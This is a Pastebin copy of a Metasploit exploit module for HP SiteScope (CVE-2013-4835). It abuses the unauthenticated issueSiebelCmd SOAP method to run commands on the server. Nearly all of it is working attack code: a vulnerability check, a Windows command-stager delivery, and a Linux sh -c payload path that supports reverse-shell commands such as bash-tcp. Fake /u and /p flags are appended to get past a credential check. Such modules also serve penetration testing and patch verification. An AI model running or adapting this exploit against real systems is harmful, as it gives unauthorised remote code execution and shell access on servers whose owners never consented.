Advertisement
AndrewHaxalot

HP SiteScope issueSiebelCmd - Remote Code Execution

Dec 26th, 2013
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.48 KB | None | 0 0
  1. HP SiteScope issueSiebelCmd - Remote Code Execution
  2.  
  3. ##
  4. # This module requires Metasploit: http//metasploit.com/download
  5. # Current source: https://github.com/rapid7/metasploit-framework
  6. ##
  7.  
  8. require 'msf/core'
  9. require 'rexml/document'
  10.  
  11. class Metasploit3 < Msf::Exploit::Remote
  12. Rank = GreatRanking
  13.  
  14. HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
  15.  
  16. include REXML
  17. include Msf::Exploit::Remote::HttpClient
  18. include Msf::Exploit::CmdStagerVBS
  19.  
  20. def initialize(info = {})
  21. super(update_info(info,
  22. 'Name' => 'HP SiteScope issueSiebelCmd Remote Code Execution',
  23. 'Description' => %q{
  24. This module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the
  25. APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the
  26. user to execute arbitrary commands without authentication. This module has been tested
  27. successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5.
  28. },
  29. 'Author' =>
  30. [
  31. 'rgod <rgod[at]autistici.org>', # Vulnerability discovery
  32. 'juan vazquez' # Metasploit module
  33. ],
  34. 'License' => MSF_LICENSE,
  35. 'References' =>
  36. [
  37. [ 'CVE', '2013-4835'],
  38. [ 'OSVDB', '99230' ],
  39. [ 'BID', '63478' ],
  40. [ 'ZDI', '13-263' ]
  41. ],
  42. 'Privileged' => true,
  43. 'Platform' => %w{ win unix },
  44. 'Arch' => [ ARCH_X86, ARCH_CMD ],
  45. 'Payload' =>
  46. {
  47. 'Space' => 2048,
  48. 'DisableNops' => true
  49. },
  50. 'Targets' =>
  51. [
  52. [ 'HP SiteScope 11.20 / Windows',
  53. {
  54. 'Arch' => ARCH_X86,
  55. 'Platform' => 'win'
  56. }
  57. ],
  58. [ 'HP SiteScope 11.20 / Linux',
  59. {
  60. 'Arch' => ARCH_CMD,
  61. 'Platform' => 'unix',
  62. 'Payload' =>
  63. {
  64. 'BadChars' => "\x20\x22\x27\x3c",
  65. 'Compat' => {
  66. 'RequiredCmd' => 'perl python bash-tcp gawk openssl'
  67. }
  68. }
  69. }
  70. ]
  71. ],
  72. 'DefaultTarget' => 0,
  73. 'DisclosureDate' => 'Oct 30 2013'))
  74.  
  75. register_options(
  76. [
  77. Opt::RPORT(8080),
  78. OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
  79. ], self.class)
  80. end
  81.  
  82. def check
  83. value = rand_text_alpha(8 + rand(10))
  84.  
  85. res = send_soap_request(value)
  86.  
  87. if res and res.code == 500 and res.body.to_s =~ /Cmd Error: User and Password must be specified/
  88. return Exploit::CheckCode::Appears
  89. end
  90.  
  91. return Exploit::CheckCode::Safe
  92. end
  93.  
  94. def exploit
  95.  
  96. if target.name =~ /Windows/
  97. print_status("#{peer} - Delivering payload...")
  98. # cmd.exe max length is 8192
  99. execute_cmdstager({:linemax => 8000, :nodelete => true})
  100. elsif target.name =~ /Linux/
  101. print_status("#{peer} - Executing payload...")
  102. execute_command(payload.encoded, {:http_timeout => 1})
  103. end
  104. end
  105.  
  106. def execute_command(cmd, opts={})
  107. if target.name =~ /Windows/
  108. cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")")
  109. command = "cmd.exe /c "
  110. command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors
  111. command << " &#x26; /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing
  112. elsif target.name =~ /Linux/
  113. command = "sh -c "
  114. command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors
  115. command << " /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing
  116. end
  117.  
  118. res = send_soap_request(command, opts[:http_timeout] || 20)
  119.  
  120. return if target.name =~ /Linux/ # There isn't response with some ARCH_CMD payloads
  121.  
  122. unless res and res.code == 500 and res.body =~ /SiteScope encountered an error associated with running a command/
  123. fail_with(Failure::Unknown, "#{peer} - Unexpected response, aborting...")
  124. end
  125. end
  126.  
  127. def get_soap_request
  128. xml = Document.new
  129. xml.add_element(
  130. "soapenv:Envelope",
  131. {
  132. 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
  133. 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
  134. 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
  135. 'xmlns:api' => "http://Api.freshtech.COM"
  136. })
  137. xml.root.add_element("soapenv:Header")
  138. xml.root.add_element("soapenv:Body")
  139. body = xml.root.elements[2]
  140. body.add_element(
  141. "api:issueSiebelCmd",
  142. {
  143. 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
  144. })
  145. ser = body.elements[1]
  146. ser.add_element("in0", {'xsi:type' => 'xsd:string'})
  147. ser.elements['in0'].text = "MSF_COMMAND"
  148.  
  149. xml.to_s
  150. end
  151.  
  152. def send_soap_request(command, timeout = 20)
  153. res = send_request_cgi({
  154. 'uri' => normalize_uri(target_uri.path, 'services', 'APISiteScopeImpl'),
  155. 'method' => 'POST',
  156. 'ctype' => 'text/xml; charset=UTF-8',
  157. 'data' => get_soap_request.gsub(/MSF_COMMAND/, command), # To avoid rexml html encoding
  158. 'headers' => {
  159. 'SOAPAction' => '""'
  160. }
  161. }, timeout)
  162.  
  163. return res
  164. end
  165.  
  166. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement